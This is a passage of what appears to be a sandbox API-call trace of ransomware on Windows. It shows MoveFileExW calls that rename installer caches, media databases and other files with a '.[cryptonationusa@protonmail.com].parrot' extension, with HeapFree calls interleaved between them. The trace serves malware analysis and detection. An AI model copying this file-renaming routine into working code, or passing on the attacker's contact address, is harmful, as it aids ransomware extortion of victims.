| out: hHeap=0x5b0000) returned 1 [0107.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d9d0 | out: hHeap=0x5b0000) returned 1 [0107.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0107.057] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.063] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62db58 | out: hHeap=0x5b0000) returned 1 [0107.063] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d9d0 | out: hHeap=0x5b0000) returned 1 [0107.063] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0107.087] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0107.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d9d0 | out: hHeap=0x5b0000) returned 1 [0107.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0107.198] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dce0 | out: hHeap=0x5b0000) returned 1 [0107.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62db58 | out: hHeap=0x5b0000) returned 1 [0107.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0107.240] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69dcb8 | out: hHeap=0x5b0000) returned 1 [0107.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62db58 | out: hHeap=0x5b0000) returned 1 [0107.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0107.253] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669c28 | out: hHeap=0x5b0000) returned 1 [0107.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62db58 | out: hHeap=0x5b0000) returned 1 [0107.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0107.328] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dce0 | out: hHeap=0x5b0000) returned 1 [0107.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62db58 | out: hHeap=0x5b0000) returned 1 [0107.376] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0107.403] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.404] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69dcb8 | out: hHeap=0x5b0000) returned 1 [0107.404] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62db58 | out: hHeap=0x5b0000) returned 1 [0107.404] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0107.455] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dce0 | out: hHeap=0x5b0000) returned 1 [0107.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62db58 | out: hHeap=0x5b0000) returned 1 [0107.458] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0107.482] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0107.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62db58 | out: hHeap=0x5b0000) returned 1 [0107.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0107.532] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669c28 | out: hHeap=0x5b0000) returned 1 [0107.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dce0 | out: hHeap=0x5b0000) returned 1 [0107.541] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0107.544] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669c28 | out: hHeap=0x5b0000) returned 1 [0107.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dce0 | out: hHeap=0x5b0000) returned 1 [0107.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0107.549] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669c28 | out: hHeap=0x5b0000) returned 1 [0107.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dce0 | out: hHeap=0x5b0000) returned 1 [0107.552] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0107.590] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0107.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dce0 | out: hHeap=0x5b0000) returned 1 [0107.593] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0107.617] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2c80 | out: hHeap=0x5b0000) returned 1 [0107.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dce0 | out: hHeap=0x5b0000) returned 1 [0107.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0107.807] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\users\\all users\\sun\\java\\java update\\jaureglist.xml"), lpNewFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\sun\\java\\java update\\jaureglist.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x681c80 | out: hHeap=0x5b0000) returned 1 [0107.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0107.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687920 | out: hHeap=0x5b0000) returned 1 [0107.894] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\IconCache.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\iconcache.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63f5c0 | out: hHeap=0x5b0000) returned 1 [0107.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0107.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0107.911] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\feedsstore.feedsdb-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685d38 | out: hHeap=0x5b0000) returned 1 [0107.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0107.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222c090 | out: hHeap=0x5b0000) returned 1 [0107.921] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267908 | out: hHeap=0x5b0000) returned 1 [0107.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0107.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242118 | out: hHeap=0x5b0000) returned 1 [0107.933] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267908 | out: hHeap=0x5b0000) returned 1 [0107.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0107.934] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242118 | out: hHeap=0x5b0000) returned 1 [0107.951] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.953] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669c28 | out: hHeap=0x5b0000) returned 1 [0107.953] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0107.953] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242118 | out: hHeap=0x5b0000) returned 1 [0107.962] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0107.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dff0 | out: hHeap=0x5b0000) returned 1 [0107.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0107.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31904e0 | out: hHeap=0x5b0000) returned 1 [0108.020] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685e20 | out: hHeap=0x5b0000) returned 1 [0108.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222e0d0 | out: hHeap=0x5b0000) returned 1 [0108.027] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685e20 | out: hHeap=0x5b0000) returned 1 [0108.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222e0d0 | out: hHeap=0x5b0000) returned 1 [0108.070] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687920 | out: hHeap=0x5b0000) returned 1 [0108.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0108.088] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x685ff0 | out: hHeap=0x5b0000) returned 1 [0108.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0108.095] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0108.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.096] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.100] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync 